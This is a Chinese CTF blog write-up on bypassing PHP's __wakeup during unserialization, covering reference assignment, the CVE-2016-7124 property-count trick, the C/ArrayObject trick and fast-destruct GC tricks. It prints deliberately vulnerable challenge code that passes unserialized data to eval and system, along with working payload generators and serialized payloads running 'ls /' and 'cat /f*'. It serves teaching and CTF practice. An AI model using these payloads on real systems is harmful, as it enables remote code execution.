反序列化中_wakeup的绕过

文章目录


前言

反序列化中_wakeup扮演着非常重要的角色,ctf碰到很多的题目都有涉及到_wakeup绕过,写下这篇博客来总结下大部分绕过方法,其中会有例题具体演示。

绕过方法

变量引用

两个变量同时指向同一个内存地址

例题:[UUCTF 2022 新生赛]ez_unser

源代码

复制代码
<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

分析一下,有eval函数可以命令执行,但是__wakeup()会让a的值为空。

同时正则匹配不让我们修改属性个数绕过__wakeup(),这就是个难题

可利用点为$this->b=$this->c;,所以我们可以引用赋值绕过__wakeup()

payload

复制代码
<?php
class test{
    public $a;
    public $b;
    public $c;  
}
$t=new test();
$t->c="system('ls /');";
$t->b=&$t->a;
echo serialize($t);
?>

注:$t->b=&$t->a;意味着它们引用相同的内存地址,它们指向相同的值

属性个数不匹配(cve-2016-7124)

影响范围:

  • PHP5 < 5.6.25

  • PHP7 < 7.0.10

正常来说在反序列化过程中,会先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。

例题:攻防世界 unserialize3

源代码

复制代码
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

分析一下,如果我们反序列化的话就会调用__wakeup()

然后就触发exit('bad requests');,我们只需要属性个数加一即可绕过

payload

复制代码
<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$a=new xctf();
echo serialize($a);
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改成下面
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}
?>

C绕过

O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会被自动调用。

常规绕过

复制代码
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
变成下面
C:4:"User":2:{}

C进阶绕过

例题:愚人杯3rd [easy_php]

复制代码
 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{
    public function __wakeup(){
        die("not allowed!");
    }
    public function __destruct(){
        system($this->ctfshow);
    }
}
$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}
?>

分析一下,核心是绕过_wakeup

复制代码
<?php
class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

} 
$a=new ctfshow();
echo serialize($a);
//O:7:"ctfshow":0:{}

我们直接改成C试试,发现根本没有命令执行的步骤

payload

复制代码
 <?php
     
class ctfshow{
	public $ctfshow="cat /f*";
}
$a = new ArrayObject;
$a -> a = new ctfshow;
echo serialize($a);
?>

然后再编码一下,就可以得到flag

fast-destruct

本质上就是利用GC回收机制。

方法有两种,删除末尾的花括号、数组对象占用指针(改数字)

复制代码
//正常payload:
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";}
//删除末尾花括号payload:
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";
//数组对象占用指针payload(加粗部分数组下标和前面重复都是0,导致指针出问题)
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:0;s:4:"1234";}

其余GC回收机制

属性值的长度不匹配

具体形式

复制代码
//正常payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:1:"1";}
//外部类属性值长度异常payload:
//先外类__destruct()后内类__wakeup()
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:2:"1";}
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:1:"12";}
相关推荐
Jayyih3 小时前
OSI七层模型和TCP/IP四层模型
网络·tcp/ip·php
黑金IT3 小时前
PHP 后台通过权限精制飞书多维表格
开发语言·php·飞书
网络安全-海哥3 小时前
2025网络安全前景与学习路线:抓住数字时代的安全机遇
学习·web安全·网络安全·网络攻击·转行
风语者日志4 小时前
攻防世界—easyupload
数据库·web安全·ctf·小白入门
滑水滑成滑头5 小时前
**发散创新:探索零信任网络下的安全编程实践**随着信息技术的飞速发展,网络安全问题日益凸显。传统的网络安全防护方式已难以
java·网络·python·安全·web安全
光影少年6 小时前
网络安全生态及学习路线
学习·安全·web安全
大熊不是猫7 小时前
PHP实现企业微信 会话存档功能
开发语言·php·企业微信
第二层皮-合肥9 小时前
如何设置等长的最大走线长度
服务器·开发语言·php
white-persist10 小时前
什么是网络安全,网络空间安全有哪些安全?
服务器·网络·安全·web安全·网络安全·系统安全·安全架构
virelin_Y.lin10 小时前
系统与网络安全------弹性交换网络(4)
网络·安全·web安全·mstp